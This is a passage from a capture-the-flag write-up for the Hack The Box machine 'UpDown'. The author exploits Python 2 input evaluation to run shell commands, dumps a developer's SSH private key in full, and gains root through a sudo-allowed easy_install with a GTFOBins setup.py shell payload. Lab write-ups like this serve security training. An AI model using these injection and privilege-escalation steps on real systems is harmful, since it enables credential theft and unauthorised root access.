requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
Welcome to 'siteisup.htb' application

It seems so, so why don't I have permission to open the file? Let's see if I can access the keys for the ssh connection.

$ ./siteisup                      
__import__("subprocess").call(["ls","-la","/home/developer/.ssh"])
total 20
drwx------ 2 developer developer 4096 Aug  2 09:15 .
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 ..
-rw-rw-r-- 1 developer developer  572 Aug  2 09:15 authorized_keys
-rw------- 1 developer developer 2602 Aug  2 09:14 id_rsa
-rw-r--r-- 1 developer developer  572 Aug  2 09:14 id_rsa.pub
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
Welcome to 'siteisup.htb' application

The files are there, but if I haven't had any luck with the user flag, I'm afraid I'll have some trouble with the keys as well, but I have to try.

$ ./siteisup
__import__("subprocess").call(["cat","/home/developer/.ssh/id_rsa"])
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Enter URL here:Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
Welcome to 'siteisup.htb' application

And instead...

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.177 - UpDown (lin)/attack/ssh]
└─$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 29 18:10:02 UTC 2022

  System load:           0.0
  Usage of /:            50.0% of 2.84GB
  Memory usage:          17%
  Swap usage:            0%
  Processes:             224
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.177
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8615


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ cat user.txt 
f******************************e

And the first flag is captured. Let's see if we're as lucky as the developer user and if privilege escalation is simple again.

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ cat /usr/local/bin/easy_install
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

I don't have to try too hard to understand the code, as when I search for the command, I find something much more interesting: a gtfobins.

easy_install | GTFOBins

And consequently, the solution to capture the second flag.

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo /usr/local/bin/easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.STm1F7rmLf
Writing /tmp/tmp.STm1F7rmLf/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.STm1F7rmLf/egg-dist-tmp-cd82Yg
# whoami
root
# cat /root/root.txt
5******************************8

That's all folks, happy hacking until the next BOX! :)